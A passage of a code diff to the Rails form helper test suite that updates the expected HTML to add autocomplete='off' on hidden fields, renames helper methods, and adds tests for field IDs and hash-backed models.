       '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' \
-      '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
+      '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" autocomplete="off" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_with_disabled_hidden_id
@@ -2563,12 +3291,12 @@ def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collecti
     expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
       '<input name="post[title]" type="text" id="post_title" value="Hello World" />' \
       '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' \
-      '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />' \
+      '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" autocomplete="off" />' \
       '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' \
       '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_with_disabled_hidden_id_inherited
@@ -2594,7 +3322,7 @@ def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collecti
       '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_with_disabled_hidden_id_override
@@ -2616,12 +3344,12 @@ def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collecti
     expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
       '<input name="post[title]" type="text" id="post_title" value="Hello World" />' \
       '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' \
-      '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />' \
+      '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" autocomplete="off" />' \
       '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' \
       '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_using_erb_and_inline_block
@@ -2639,12 +3367,12 @@ def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collecti
     expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
       '<input name="post[title]" type="text" id="post_title" value="Hello World" />' \
       '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' \
-      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' \
+      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" autocomplete="off" />' \
       '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' \
-      '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
+      '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" autocomplete="off" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_with_explicit_hidden_field_placement
@@ -2662,13 +3390,13 @@ def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collecti
 
     expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
       '<input name="post[title]" type="text" id="post_title" value="Hello World" />' \
-      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' \
+      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" autocomplete="off" />' \
       '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' \
-      '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />' \
+      '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" autocomplete="off" />' \
       '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_for_with_new_records_on_a_nested_attributes_collection_association
@@ -2689,7 +3417,7 @@ def test_nested_fields_for_with_new_records_on_a_nested_attributes_collection_as
       '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="new comment" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_for_with_existing_and_new_records_on_a_nested_attributes_collection_association
@@ -2707,11 +3435,11 @@ def test_nested_fields_for_with_existing_and_new_records_on_a_nested_attributes_
     expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
       '<input name="post[title]" type="text" id="post_title" value="Hello World" />' \
       '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #321" />' \
-      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" />' \
+      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" autocomplete="off" />' \
       '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="new comment" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_for_with_an_empty_supplied_attributes_collection
@@ -2726,7 +3454,7 @@ def test_nested_fields_for_with_an_empty_supplied_attributes_collection
       '<input name="post[title]" type="text" id="post_title" value="Hello World" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_for_with_existing_records_on_a_supplied_nested_attributes_collection
@@ -2742,12 +3470,12 @@ def test_nested_fields_for_with_existing_records_on_a_supplied_nested_attributes
     expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
       '<input name="post[title]" type="text" id="post_title" value="Hello World" />' \
       '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' \
-      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' \
+      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" autocomplete="off" />' \
       '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' \
-      '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
+      '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" autocomplete="off" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_for_arel_like
@@ -2763,25 +3491,31 @@ def test_nested_fields_for_arel_like
     expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
       '<input name="post[title]" type="text" id="post_title" value="Hello World" />' \
       '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' \
-      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' \
+      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" autocomplete="off" />' \
       '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' \
-      '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
+      '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" autocomplete="off" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_label_translation_with_more_than_10_records
     @post.comments = Array.new(11) { |id| Comment.new(id + 1) }
 
-    params = 11.times.map { ["post.comments.body", default: [:"comment.body", ""], scope: "helpers.label"] }
-    assert_called_with(I18n, :t, params, returns: "Write body here") do
+    mock = Minitest::Mock.new
+    @post.comments.each do
+      expect_called_with(mock, ["post.comments.body"], default: [:"comment.body", ""], scope: "helpers.label", returns: "body")
+    end
+
+    I18n.stub(:t, mock) do
       form_for(@post) do |f|
         f.fields_for(:comments) do |cf|
           concat cf.label(:body)
         end
       end
     end
+
+    assert_mock(mock)
   end
 
   def test_nested_fields_for_with_existing_records_on_a_supplied_nested_attributes_collection_different_from_record_one
@@ -2798,12 +3532,12 @@ def test_nested_fields_for_with_existing_records_on_a_supplied_nested_attributes
     expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
       '<input name="post[title]" type="text" id="post_title" value="Hello World" />' \
       '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' \
-      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' \
+      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" autocomplete="off" />' \
       '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' \
-      '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
+      '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" autocomplete="off" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_for_on_a_nested_attributes_collection_association_yields_only_builder
@@ -2821,11 +3555,11 @@ def test_nested_fields_for_on_a_nested_attributes_collection_association_yields_
     expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
       '<input name="post[title]" type="text" id="post_title" value="Hello World" />' \
       '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #321" />' \
-      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" />' \
+      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" autocomplete="off" />' \
       '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="new comment" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
     assert_equal yielded_comments, @post.comments
   end
 
@@ -2840,10 +3574,10 @@ def test_nested_fields_for_with_child_index_option_override_on_a_nested_attribut
 
     expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
       '<input id="post_comments_attributes_abc_name" name="post[comments_attributes][abc][name]" type="text" value="comment #321" />' \
-      '<input id="post_comments_attributes_abc_id" name="post[comments_attributes][abc][id]" type="hidden" value="321" />'
+      '<input id="post_comments_attributes_abc_id" name="post[comments_attributes][abc][id]" type="hidden" value="321" autocomplete="off" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_for_with_child_index_as_lambda_option_override_on_a_nested_attributes_collection_association
@@ -2857,10 +3591,10 @@ def test_nested_fields_for_with_child_index_as_lambda_option_override_on_a_neste
 
     expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
       '<input id="post_comments_attributes_abc_name" name="post[comments_attributes][abc][name]" type="text" value="comment #321" />' \
-      '<input id="post_comments_attributes_abc_id" name="post[comments_attributes][abc][id]" type="hidden" value="321" />'
+      '<input id="post_comments_attributes_abc_id" name="post[comments_attributes][abc][id]" type="hidden" value="321" autocomplete="off" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   class FakeAssociationProxy
@@ -2880,10 +3614,10 @@ def test_nested_fields_for_with_child_index_option_override_on_a_nested_attribut
 
     expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
       '<input id="post_comments_attributes_abc_name" name="post[comments_attributes][abc][name]" type="text" value="comment #321" />' \
-      '<input id="post_comments_attributes_abc_id" name="post[comments_attributes][abc][id]" type="hidden" value="321" />'
+      '<input id="post_comments_attributes_abc_id" name="post[comments_attributes][abc][id]" type="hidden" value="321" autocomplete="off" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_for_index_method_with_existing_records_on_a_nested_attributes_collection_association
@@ -2893,7 +3627,7 @@ def test_nested_fields_for_index_method_with_existing_records_on_a_nested_attrib
       expected = 0
       @post.comments.each do |comment|
         f.fields_for(:comments, comment) { |cf|
-          assert_equal cf.index, expected
+          assert_equal expected, cf.index
           expected += 1
         }
       end
@@ -2907,7 +3641,7 @@ def test_nested_fields_for_index_method_with_existing_and_new_records_on_a_neste
       expected = 0
       @post.comments.each do |comment|
         f.fields_for(:comments, comment) { |cf|
-          assert_equal cf.index, expected
+          assert_equal expected, cf.index
           expected += 1
         }
       end
@@ -2920,7 +3654,7 @@ def test_nested_fields_for_index_method_with_existing_records_on_a_supplied_nest
     form_for(@post) do |f|
       expected = 0
       f.fields_for(:comments, @post.comments) { |cf|
-        assert_equal cf.index, expected
+        assert_equal expected, cf.index
         expected += 1
       }
     end
@@ -2931,7 +3665,7 @@ def test_nested_fields_for_index_method_with_child_index_option_override_on_a_ne
 
     form_for(@post) do |f|
       f.fields_for(:comments, Comment.new(321), child_index: "abc") { |cf|
-        assert_equal cf.index, "abc"
+        assert_equal "abc", cf.index
       }
     end
   end
@@ -2967,19 +3701,19 @@ def test_nested_fields_uses_unique_indices_for_different_collection_associations
     expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
       '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #321" />' \
       '<input id="post_comments_attributes_0_relevances_attributes_0_value" name="post[comments_attributes][0][relevances_attributes][0][value]" type="text" value="commentrelevance #314" />' \
-      '<input id="post_comments_attributes_0_relevances_attributes_0_id" name="post[comments_attributes][0][relevances_attributes][0][id]" type="hidden" value="314" />' \
-      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" />' \
+      '<input id="post_comments_attributes_0_relevances_attributes_0_id" name="post[comments_attributes][0][relevances_attributes][0][id]" type="hidden" value="314" autocomplete="off" />' \
+      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" autocomplete="off" />' \
       '<input id="post_tags_attributes_0_value" name="post[tags_attributes][0][value]" type="text" value="tag #123" />' \
       '<input id="post_tags_attributes_0_relevances_attributes_0_value" name="post[tags_attributes][0][relevances_attributes][0][value]" type="text" value="tagrelevance #3141" />' \
-      '<input id="post_tags_attributes_0_relevances_attributes_0_id" name="post[tags_attributes][0][relevances_attributes][0][id]" type="hidden" value="3141" />' \
-      '<input id="post_tags_attributes_0_id" name="post[tags_attributes][0][id]" type="hidden" value="123" />' \
+      '<input id="post_tags_attributes_0_relevances_attributes_0_id" name="post[tags_attributes][0][relevances_attributes][0][id]" type="hidden" value="3141" autocomplete="off" />' \
+      '<input id="post_tags_attributes_0_id" name="post[tags_attributes][0][id]" type="hidden" value="123" autocomplete="off" />' \
       '<input id="post_tags_attributes_1_value" name="post[tags_attributes][1][value]" type="text" value="tag #456" />' \
       '<input id="post_tags_attributes_1_relevances_attributes_0_value" name="post[tags_attributes][1][relevances_attributes][0][value]" type="text" value="tagrelevance #31415" />' \
-      '<input id="post_tags_attributes_1_relevances_attributes_0_id" name="post[tags_attributes][1][relevances_attributes][0][id]" type="hidden" value="31415" />' \
-      '<input id="post_tags_attributes_1_id" name="post[tags_attributes][1][id]" type="hidden" value="456" />'
+      '<input id="post_tags_attributes_1_relevances_attributes_0_id" name="post[tags_attributes][1][relevances_attributes][0][id]" type="hidden" value="31415" autocomplete="off" />' \
+      '<input id="post_tags_attributes_1_id" name="post[tags_attributes][1][id]" type="hidden" value="456" autocomplete="off" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_for_with_hash_like_model
@@ -2995,125 +3729,173 @@ def test_nested_fields_for_with_hash_like_model
       '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="hash backed author" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_nested_fields_for_with_hash_with_indifferent_access_like_model_and_options
+    @author = HashWithIndifferentAccessBackedAuthor.new
+
+    form_for(@post) do |f|
+      concat f.fields_for(:author, @author, {}) { |af|
+        concat af.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
+      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="hash backed author" />'
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_nested_fields_for_with_hash_with_indifferent_access_like_model_without_options
+    @author = HashWithIndifferentAccessBackedAuthor.new
+
+    form_for(@post) do |f|
+      concat f.fields_for(:author, @author) { |af|
+        concat af.text_field(:name)
+      }
+    end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch")
+
+    assert_dom_equal expected, @rendered
   end
 
   def test_fields_for
-    output_buffer = fields_for(:post, @post) do |f|
+    @rendered = fields_for(:post, @post) do |f|
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
     end
 
     expected =
       "<input name='post[title]' type='text' id='post_title' value='Hello World' />" \
       "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" \
-      "<input name='post[secret]' type='hidden' value='0' />" \
+      "<input name='post[secret]' type='hidden' value='0' autocomplete='off' />" \
       "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_fields_for_field_id
+    fields_for(:post, @post) do |fields|
+      assert_equal "post_title", fields.field_id(:title)
+    end
   end
 
   def test_fields_for_with_index
-    output_buffer = fields_for("post[]", @post) do |f|
+    @rendered = fields_for("post[]", @post) do |f|
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
     end
 
     expected =
       "<input name='post[123][title]' type='text' id='post_123_title' value='Hello World' />" \
       "<textarea name='post[123][body]' id='post_123_body'>\nBack to the hill and over it again!</textarea>" \
-      "<input name='post[123][secret]' type='hidden' value='0' />" \
+      "<input name='post[123][secret]' type='hidden' value='0' autocomplete='off' />" \
       "<input name='post[123][secret]' checked='checked' type='checkbox' id='post_123_secret' value='1' />"
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_fields_for_field_id_with_index_option
+    fields_for(:post, @post) do |fields|
+      assert_equal "post_5_title", fields.field_id(:title, index: 5)
+    end
   end
 
   def test_fields_for_with_nil_index_option_override
-    output_buffer = fields_for("post[]", @post, index: nil) do |f|
+    @rendered = fields_for("post[]", @post, index: nil) do |f|
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
     end
 
     expected =
       "<input name='post[][title]' type='text' id='post__title' value='Hello World' />" \
       "<textarea name='post[][body]' id='post__body'>\nBack to the hill and over it again!</textarea>" \
-      "<input name='post[][secret]' type='hidden' value='0' />" \
+      "<input name='post[][secret]' type='hidden' value='0' autocomplete='off' />" \
       "<input name='post[][secret]' checked='checked' type='checkbox' id='post__secret' value='1' />"
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_fields_for_with_index_option_override_field_id
+    fields_for(:post, @post, index: 1) do |fields|
+      assert_equal "post_1_title", fields.field_id(:title)
+    end
   end
 
   def test_fields_for_with_index_option_override
-    output_buffer = fields_for("post[]", @post, index: "abc") do |f|
+    @rendered = fields_for("post[]", @post, index: "abc") do |f|
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
     end
 
     expected =
       "<input name='post[abc][title]' type='text' id='post_abc_title' value='Hello World' />" \
       "<textarea name='post[abc][body]' id='post_abc_body'>\nBack to the hill and over it again!</textarea>" \
-      "<input name='post[abc][secret]' type='hidden' value='0' />" \
+      "<input name='post[abc][secret]' type='hidden' value='0' autocomplete='off' />" \
       "<input name='post[abc][secret]' checked='checked' type='checkbox' id='post_abc_secret' value='1' />"
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_fields_for_without_object
-    output_buffer = fields_for(:post) do |f|
+    @rendered = fields_for(:post) do |f|
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
     end
 
     expected =
       "<input name='post[title]' type='text' id='post_title' value='Hello World' />" \
       "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" \
-      "<input name='post[secret]' type='hidden' value='0' />" \
+      "<input name='post[secret]' type='hidden' value='0' autocomplete='off' />" \
       "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_fields_for_with_only_object
-    output_buffer = fields_for(@post) do |f|
+    @rendered = fields_for(@post) do |f|
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
     end
 
     expected =
       "<input name='post[title]' type='text' id='post_title' value='Hello World' />" \
       "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" \
-      "<input name='post[secret]' type='hidden' value='0' />" \
+      "<input name='post[secret]' type='hidden' value='0' autocomplete='off' />" \
       "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_fields_for_object_with_bracketed_name
-    output_buffer = fields_for("author[post]", @post) do |f|
+    @rendered = fields_for("author[post]", @post) do |f|
       concat f.label(:title)
       concat f.text_field(:title)
     end
 
     assert_dom_equal "<label for=\"author_post_title\">Title</label>" \
     "<input name='author[post][title]' type='text' id='author_post_title' value='Hello World' />",
-      output_buffer
+      @rendered
   end
 
   def test_fields_for_object_with_bracketed_name_and_index
-    output_buffer = fields_for("author[post]", @post, index: 1) do |f|
+    @rendered = fields_for("author[post]", @post, index: 1) do |f|
       concat f.label(:title)
       concat f.text_field(:title)
     end
 
     assert_dom_equal "<label for=\"author_post_1_title\">Title</label>" \
       "<input name='author[post][1][title]' type='text' id='author_post_1_title' value='Hello World' />",
-      output_buffer
+      @rendered
   end
 
   def test_form_builder_does_not_have_form_for_method
@@ -3123,27 +3905,27 @@ def test_form_builder_does_not_have_form_for_method
   def test_form_for_and_fields_for
     form_for(@post, as: :post, html: { id: "create-post" }) do |post_form|
       concat post_form.text_field(:title)
-      concat post_form.text_area(:body)
+      concat post_form.textarea(:body)
 
       concat fields_for(:parent_post, @post) { |parent_fields|
-        concat parent_fields.check_box(:secret)
+        concat parent_fields.checkbox(:secret)
       }
     end
 
     expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
       "<input name='post[title]' type='text' id='post_title' value='Hello World' />" \
       "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" \
-      "<input name='parent_post[secret]' type='hidden' value='0' />" \
+      "<input name='parent_post[secret]' type='hidden' value='0' autocomplete='off' />" \
       "<input name='parent_post[secret]' checked='checked' type='checkbox' id='parent_post_secret' value='1' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_for_and_fields_for_with_object
     form_for(@post, as: :post, html: { id: "create-post" }) do |post_form|
       concat post_form.text_field(:title)
-      concat post_form.text_area(:body)
+      concat post_form.textarea(:body)
 
       concat post_form.fields_for(@comment) { |comment_fields|
         concat comment_fields.text_field(:name)
@@ -3156,7 +3938,7 @@ def test_form_for_and_fields_for_with_object
       "<input name='post[comment][name]' type='text' id='post_comment_name' value='new comment' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_for_and_fields_for_with_non_nested_association_and_without_object
@@ -3170,7 +3952,7 @@ def test_form_for_and_fields_for_with_non_nested_association_and_without_object
       "<input name='post[category][name]' type='text' id='post_category_name' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   class LabelledFormBuilder < ActionView::Helpers::FormBuilder
@@ -3186,17 +3968,17 @@ def #{selector}(field, *args, &proc)
   def test_form_for_with_labelled_builder
     form_for(@post, builder: LabelledFormBuilder) do |f|
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
     end
 
     expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
       "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>" \
       "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea><br/>" \
-      "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>"
+      "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' autocomplete='off' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_default_form_builder
@@ -3205,17 +3987,17 @@ def test_default_form_builder
 
     form_for(@post) do |f|
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
     end
 
     expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch") do
       "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>" \
       "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea><br/>" \
-      "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>"
+      "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' autocomplete='off' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   ensure
     ActionView::Base.default_form_builder = old_default_form_builder
   end
@@ -3232,7 +4014,7 @@ def test_lazy_loading_default_form_builder
       "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   ensure
     ActionView::Base.default_form_builder = old_default_form_builder
   end
@@ -3240,40 +4022,40 @@ def test_lazy_loading_default_form_builder
   def test_form_builder_override
     self.default_form_builder = LabelledFormBuilder
 
-    output_buffer = fields_for(:post, @post) do |f|
+    @rendered = fields_for(:post, @post) do |f|
       concat f.text_field(:title)
     end
 
     expected = "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>"
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_lazy_loading_form_builder_override
     self.default_form_builder = "FormHelperTest::LabelledFormBuilder"
 
-    output_buffer = fields_for(:post, @post) do |f|
+    @rendered = fields_for(:post, @post) do |f|
       concat f.text_field(:title)
     end
 
     expected = "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>"
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_fields_for_with_labelled_builder
-    output_buffer = fields_for(:post, @post, builder: LabelledFormBuilder) do |f|
+    @rendered = fields_for(:post, @post, builder: LabelledFormBuilder) do |f|
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
     end
 
     expected =
       "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>" \
       "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea><br/>" \
-      "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>"
+      "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' autocomplete='off' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>"
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_for_with_labelled_builder_with_nested_fields_for_without_options_hash
@@ -3332,13 +4114,13 @@ def test_form_for_with_html_options_adds_options_to_form_tag
     form_for(@post, html: { id: "some_form", class: "some_class", multipart: true }) do |f| end
     expected = whole_form("/posts/123", "some_form", "some_class", method: "patch", multipart: "multipart/form-data")
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_for_with_string_url_option
     form_for(@post, url: "http://www.otherdomain.com") do |f| end
 
-    assert_dom_equal whole_form("http://www.otherdomain.com", "edit_post_123", "edit_post", method: "patch"), output_buffer
